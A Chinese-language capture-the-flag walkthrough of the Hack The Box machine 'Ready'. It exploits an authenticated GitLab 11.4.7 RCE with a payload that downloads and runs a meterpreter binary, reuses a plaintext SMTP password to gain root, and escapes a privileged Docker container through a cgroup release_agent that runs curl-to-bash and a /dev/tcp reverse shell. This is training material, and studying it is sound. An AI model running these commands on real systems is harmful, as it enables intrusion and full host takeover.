Ready(升級(jí)完整shell坪创，容器逃逸)

服務(wù)探測(cè)

開放端口

┌──(root?rock)-[~]
└─# nmap -p- --open 10.10.10.220              
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-01 04:24 EDT
Nmap scan report for 10.10.10.220
Host is up (0.030s latency).
Not shown: 61766 closed tcp ports (reset), 3767 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

Nmap done: 1 IP address (1 host up) scanned in 50.09 seconds

詳細(xì)端口信息


┌──(root?rock)-[~]
└─# nmap -sV -Pn -A -O 10.10.10.220 -p 22,5080
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-01 04:26 EDT
Nmap scan report for 10.10.10.220
Host is up (0.092s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
|_http-title: GitLab is not responding (502)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 11 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   ... 10
11  12.36 ms 10.10.10.220

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.71 seconds

web

robots.txt

User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/

在這個(gè)頁面確認(rèn)gitlab版本為：11.4.7

http://10.10.10.220:5080/help

搜索漏洞情況旗国，存在一個(gè)授權(quán)的RCE

┌──(root??kali)-[~/htb/Ready]
└─# searchsploit gitlab 11.4.7
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated) (2)                                                                                                                                                                   | ruby/webapps/49334.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) (1)                                                                                                                                                 | ruby/webapps/49257.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

執(zhí)行payload，但是沒有返回rev shell

──(root??kali)-[~/htb/Ready]
└─# python3 49334.py -u chen -p 123456789 -g 'http://10.10.10.220' -l 10.10.16.2 -P 5080
[+] authenticity_token: P6oayybySIHkjN1hOiORE2To2qUsij2zCCWcEwRjr/eJ/UnDoWxn4YF5ZWw9aRBAUenpEHf0nkcnXQAZfSnCew==
[+] Creating project with random name: project2006
[+] Running Exploit
[+] Exploit completed successfully!

查看exp源代碼勒庄，發(fā)現(xiàn)用的是nc反彈的shell

f'nc {local_ip} {local_port} -e /bin/bash'

linux為了安全考慮，一般會(huì)禁用nc的-e和-c參數(shù)

我們首先要證明確實(shí)是存在RCE瘫里，然后再想其他辦法反彈shell回來

我們把上面那行代碼改為：

 f'wget http://10.10.16.2/any'

在kali本地開一個(gè)http服務(wù)器实蔽，然后執(zhí)行exp，收到get請(qǐng)求谨读，證明rce存在

┌──(root??kali)-[~/htb/Ready]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.220 - - [01/Jul/2022 05:22:07] code 404, message File not found
10.10.10.220 - - [01/Jul/2022 05:22:07] "GET /any HTTP/1.1" 404 -

foothold

編譯一個(gè)exp

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.16.2 LPORT=4242 -f elf > shell.elf

起一個(gè)http服務(wù)

┌──(root??kali)-[~/htb/Ready]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

上面49334.py的payload改為

wget http://10.10.16.2/shell.elf -O /tmp/shell.elf&&chmod 777 /tmp/shell.elf&&/tmp/shell.elf

如果上面payload執(zhí)行不了嘗試分三次執(zhí)行

觸發(fā)攻擊

┌──(root??kali)-[~/htb/Ready]
└─# python3 49334.py -u chen -p 123456789 -g 'http://10.10.10.220' -l 10.10.16.2 -P 5080
[+] authenticity_token: 8IMetc2Ptcb5HXlnRVYTK3YdOhCdLQ39XTrwO2FOjxHBAF+SJbzuwNYB9udD2jQnC1Tlg5oNRNczOisNZa3Aog==
[+] Creating project with random name: project4047
[+] Running Exploit
[+] Exploit completed successfully!

拿到user.txt

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.2:4242 
[*] Sending stage (989032 bytes) to 10.10.10.220
[*] Meterpreter session 4 opened (10.10.16.2:4242 -> 10.10.10.220:42282) at 2022-07-18 02:55:05 -0400

meterpreter > cd /home
meterpreter > ls
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  4096  dir   2022-04-05 08:32:28 -0400  dude

meterpreter > cd dude
meterpreter > ls
Listing: /home/dude
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100551/r-xr-x--x  33    fil   2022-07-18 02:21:48 -0400  user.txt

meterpreter > cat user.txt 
176f5155e3df....

提權(quán)

使用/bin/bash -i提升到tty

在/opt目錄找到一個(gè)backup文件夾局装，/opt目錄通常不會(huì)有任何文件，因此這里的文件信息要多注意劳殖，常常是提權(quán)的關(guān)鍵

在gitlab.rb里找到一個(gè)密碼

git@gitlab:/opt/backup$ cat gitlab.rb|grep pass
cat gitlab.rb|grep pass
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
#     password: '_the_password_of_the_bind_user'
#     password: '_the_password_of_the_bind_user'
#   '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####!   redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
#     password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
#     password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil

留意這一行

gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"

嘗試提權(quán)贼邓，提示只能在terminal下執(zhí)行su命令

git@gitlab:/tmp$ su root
su root
su: must be run from a terminal
git@gitlab:/tmp$

我們需要提升一個(gè)完整的終端

提升完整shell

(這里其實(shí)是我打OSCPlab學(xué)到的方法。闷尿。)

參考這里的方法

靶機(jī)如果沒有socat塑径，到這里下載二進(jìn)制文件：https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

kali:

socat file:`tty`,raw,echo=0 tcp-listen:443

靶機(jī)

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.119.187:443

現(xiàn)在我們收到一個(gè)完整的shell，可以執(zhí)行su命令

┌──(root??kali)-[~/htb/Ready]
└─# socat file:`tty`,raw,echo=0 tcp-listen:443
git@gitlab:/tmp$ su
Password: 
root@gitlab:/tmp# whoami
root
root@gitlab:~# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:~#

但是沒有發(fā)現(xiàn)root.txt填具，因?yàn)槲覀冊(cè)谝粋€(gè)容器內(nèi)

docker逃逸

查看docker-compose.yml,這個(gè)是docker的配置文件

root@gitlab:/opt/backup# cat docker-compose.yml
version: '2.4'

services:
  web:
    image: 'gitlab/gitlab-ce:11.4.7-ce.0'
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://172.19.0.2'
        redis['bind']='127.0.0.1'
        redis['port']=6379
        gitlab_rails['initial_root_password']=File.read('/root_pass')
    networks:
      gitlab:
        ipv4_address: 172.19.0.2
    ports:
      - '5080:80'
      #- '127.0.0.1:5080:80'
      #- '127.0.0.1:50443:443'
      #- '127.0.0.1:5022:22'
    volumes:
      - './srv/gitlab/config:/etc/gitlab'
      - './srv/gitlab/logs:/var/log/gitlab'
      - './srv/gitlab/data:/var/opt/gitlab'
      - './root_pass:/root_pass'
      - '/opt/user:/home/dude/'
    privileged: true
    restart: unless-stopped
    #mem_limit: 1024m

networks:
  gitlab:
    driver: bridge
    ipam:
      config:
        - subnet: 172.19.0.0/16

privileged: true表示容器在主機(jī)上也有root權(quán)限

參考這篇文章里的方法统舀，我們可以實(shí)現(xiàn)docker逃逸，獲取主機(jī)的一個(gè)root shell

root@gitlab:~# d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
root@gitlab:~# mkdir -p $d/w;echo 1 >$d/w/notify_on_release
root@gitlab:~# t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@gitlab:~# echo $t/c >$d/release_agent;printf '#!/bin/sh\ncurl 10.10.16.2/shell.sh | bash' >/c;
root@gitlab:~# chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";

shell.sh

bash >& /dev/tcp/10.10.16.2/4242 0>&1

收到反彈shell

┌──(root??kali)-[~]
└─# nc -lnvp 4242                                                                                               1 ?
listening on [any] 4242 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.220] 46706
id
uid=0(root) gid=0(root) groups=0(root)
whoami  
root
ls /root
docker-gitlab
ready-channel
root.txt
snap
cat root.txt
ffa185f28f07941...

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者

人面猴
序言：七十年代末劳景，一起剝皮案震驚了整個(gè)濱河市誉简，隨后出現(xiàn)的幾起案子，更是在濱河造成了極大的恐慌盟广，老刑警劉巖闷串，帶你破解...
沈念sama閱讀 217,509評(píng)論 6贊 504
死咒
序言：濱河連續(xù)發(fā)生了三起死亡事件，死亡現(xiàn)場(chǎng)離奇詭異筋量，居然都是意外死亡烹吵，警方通過查閱死者的電腦和手機(jī)碉熄，發(fā)現(xiàn)死者居然都...
沈念sama閱讀 92,806評(píng)論 3贊 394
救了他兩次的神仙讓他今天三更去死
文/潘曉璐我一進(jìn)店門，熙熙樓的掌柜王于貴愁眉苦臉地迎上來肋拔，“玉大人锈津，你說我怎么就攤上這事×狗洌” “怎么了琼梆？”我有些...
開封第一講書人閱讀 163,875評(píng)論 0贊 354
道士緝兇錄：失蹤的賣姜人
文/不壞的土叔我叫張陵，是天一觀的道長(zhǎng)窿吩。經(jīng)常有香客問我茎杂，道長(zhǎng)，這世上最難降的妖魔是什么纫雁？我笑而不...
開封第一講書人閱讀 58,441評(píng)論 1贊 293
?港島之戀（遺憾婚禮）
正文為了忘掉前任蛉顽，我火速辦了婚禮，結(jié)果婚禮上先较，老公的妹妹穿的比我還像新娘携冤。我一直安慰自己，他們只是感情好闲勺，可當(dāng)我...
茶點(diǎn)故事閱讀 67,488評(píng)論 6贊 392
惡毒庶女頂嫁案：這布局不是一般人想出來的
文/花漫我一把揭開白布曾棕。她就那樣靜靜地躺著，像睡著了一般菜循。火紅的嫁衣襯著肌膚如雪翘地。梳的紋絲不亂的頭發(fā)上，一...
開封第一講書人閱讀 51,365評(píng)論 1贊 302
城市分裂傳說
那天癌幕，我揣著相機(jī)與錄音衙耕，去河邊找鬼。笑死勺远，一個(gè)胖子當(dāng)著我的面吹牛橙喘，可吹牛的內(nèi)容都是我干的。我是一名探鬼主播胶逢，決...
沈念sama閱讀 40,190評(píng)論 3贊 418
雙鴛鴦連環(huán)套：你想象不到人心有多黑
文/蒼蘭香墨我猛地睜開眼厅瞎，長(zhǎng)吁一口氣：“原來是場(chǎng)噩夢(mèng)啊……” “哼！你這毒婦竟也來了初坠？” 一聲冷哼從身側(cè)響起和簸，我...
開封第一講書人閱讀 39,062評(píng)論 0贊 276
萬榮殺人案實(shí)錄
序言：老撾萬榮一對(duì)情侶失蹤，失蹤者是張志新（化名）和其女友劉穎碟刺，沒想到半個(gè)月后锁保，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體，經(jīng)...
沈念sama閱讀 45,500評(píng)論 1贊 314
?護(hù)林員之死
正文獨(dú)居荒郊野嶺守林人離奇死亡，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛以下內(nèi)容為張勛視角年9月15日...
茶點(diǎn)故事閱讀 37,706評(píng)論 3贊 335
?白月光啟示錄
正文我和宋清朗相戀三年爽柒，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了吴菠。大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
茶點(diǎn)故事閱讀 39,834評(píng)論 1贊 347
活死人
序言：一個(gè)原本活蹦亂跳的男人離奇死亡霉赡，死狀恐怖，靈堂內(nèi)的尸體忽然破棺而出幔托，到底是詐尸還是另有隱情穴亏，我是刑警寧澤，帶...
沈念sama閱讀 35,559評(píng)論 5贊 345
?日本核電站爆炸內(nèi)幕
正文年R本政府宣布重挑，位于F島的核電站嗓化，受9級(jí)特大地震影響，放射性物質(zhì)發(fā)生泄漏谬哀。R本人自食惡果不足惜刺覆，卻給世界環(huán)境...
茶點(diǎn)故事閱讀 41,167評(píng)論 3贊 328
男人毒藥：我在死后第九天來索命
文/蒙蒙一、第九天我趴在偏房一處隱蔽的房頂上張望史煎。院中可真熱鬧谦屑，春花似錦、人聲如沸篇梭。這莊子的主人今日做“春日...
開封第一講書人閱讀 31,779評(píng)論 0贊 22
一樁弒父案，背后竟有這般陰謀
文/蒼蘭香墨我抬頭看了看天上的太陽恬偷。三九已至悍手，卻和暖如春，著一層夾襖步出監(jiān)牢的瞬間袍患，已是汗流浹背坦康。一陣腳步聲響...
開封第一講書人閱讀 32,912評(píng)論 1贊 269
情欲美人皮
我被黑心中介騙來泰國(guó)打工，沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留诡延，地道東北人滞欠。一個(gè)月前我還...
沈念sama閱讀 47,958評(píng)論 2贊 370
代替公主和親
正文我出身青樓，卻偏偏與公主長(zhǎng)得像肆良，于是被迫代替她去往敵國(guó)和親仑撞。傳聞我的和親對(duì)象是個(gè)殘疾皇子，可洞房花燭夜當(dāng)晚...
茶點(diǎn)故事閱讀 44,779評(píng)論 2贊 354

Ready(升級(jí)完整shell脖卖，容器逃逸)